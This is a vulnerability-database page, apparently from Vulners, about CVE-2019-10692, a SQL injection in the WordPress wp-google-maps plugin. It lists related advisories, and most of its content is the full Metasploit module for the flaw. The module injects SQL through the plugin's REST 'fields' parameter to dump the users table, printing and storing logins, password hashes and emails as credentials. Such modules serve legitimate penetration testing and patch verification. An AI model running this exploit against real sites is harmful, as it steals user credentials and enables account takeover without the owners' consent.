Lucene search
K

WordPress Google Maps Plugin SQL Injection

🗓️ 11 Apr 2019 12:04:57Reported by Thomas Chauchefoin (Synacktiv)Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 78 Views

WordPress Google Maps Plugin SQL Injection - Exploits SQL injection vulnerability in wp-google-maps plugin version 7.11.00 to 7.11.17

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2019-10692
2 Apr 201900:00
attackerkb
Circl
CVE-2019-10692
15 Apr 201912:48
circl
CNVD
WordPress wp-google-maps plugin input validation error vulnerability
4 Apr 201900:00
cnvd
Check Point Advisories
WordPress Google Maps Plugin SQL Injection (CVE-2019-10692)
1 Jul 201900:00
checkpoint_advisories
CVE
CVE-2019-10692
2 Apr 201917:37
cve
Cvelist
CVE-2019-10692
2 Apr 201917:37
cvelist
Exploit DB
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection
20 Oct 202000:00
exploitdb
Nuclei
WordPress Google Maps <7.11.18 - SQL Injection
11 Jun 202603:33
nuclei
NVD
CVE-2019-10692
2 Apr 201918:30
nvd
OpenVAS
WordPress WP Google Maps Plugin < 7.11.18 SQL Injection Vulnerability
10 Apr 201900:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(_info = {})
    super(
      'Name' => 'WordPress Google Maps Plugin SQL Injection',
      'Description' => %q{
        This module exploits a SQL injection vulnerability in a REST endpoint
        registered by the WordPress plugin wp-google-maps between 7.11.00 and
        7.11.17 (included).

        As the table prefix can be changed by administrators, set DB_PREFIX
        accordingly.
      },
      'Author' => [
        'Thomas Chauchefoin (Synacktiv)', # Vulnerability discovery, Metasploit module
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-10692'],
        ['WPVDB', '9249']
      ],
      'DisclosureDate' => '2019-04-02'
    )

    register_options(
      [
        OptString.new('DB_PREFIX', [true, 'WordPress table prefix', 'wp_'])
      ]
    )
  end

  def send_sql_request(sql_query)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        'rest_route' => '/wpgmza/v1/markers',
        'filter' => '{}',
        'fields' => "#{sql_query}-- -"
      }
    )

    return nil if res.nil? || res.code != 200 || res.body.nil?

    res.body
  end

  def check
    mynum = Rex::Text.rand_text_numeric(8..20).to_s
    body = send_sql_request(mynum)
    return Exploit::CheckCode::Unknown if body.nil?
    return Exploit::CheckCode::Vulnerable if body.include?(mynum)

    Exploit::CheckCode::Unknown
  end

  def run
    print_status("#{peer} - Trying to retrieve the #{datastore['DB_PREFIX']}users table...")

    body = send_sql_request("* from #{datastore['DB_PREFIX']}users")
    fail_with(Failure::UnexpectedReply, 'No response or unexpected status code in response') if body.nil?

    begin
      body = JSON.parse(body)
    rescue JSON::ParserError
      fail_with(Failure::NotFound, 'Returned data is not in JSON format')
    end

    if body.empty?
      print_error("#{peer} - Failed to retrieve the table #{datastore['DB_PREFIX']}users")
    else
      loot = store_loot('wp_google_maps.json', 'application/json', rhost, body.to_s)
      print_good("Credentials saved in: #{loot}")
    end

    body.each do |user|
      print_good("#{peer} - Found #{user['user_login']} #{user['user_pass']} #{user['user_email']}")
      connection_details = {
        module_fullname: fullname,
        username: user['user_login'],
        private_data: user['user_pass'],
        private_type: :nonreplayable_hash,
        workspace_id: myworkspace_id,
        status: Metasploit::Model::Login::Status::UNTRIED,
        proof: user['user_email']
      }.merge(service_details)
      create_credential(connection_details)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 14:30Current
8.1High risk
Vulners AI Score8.1
CVSS 27.5
CVSS 3.19.8
EPSS0.88762
78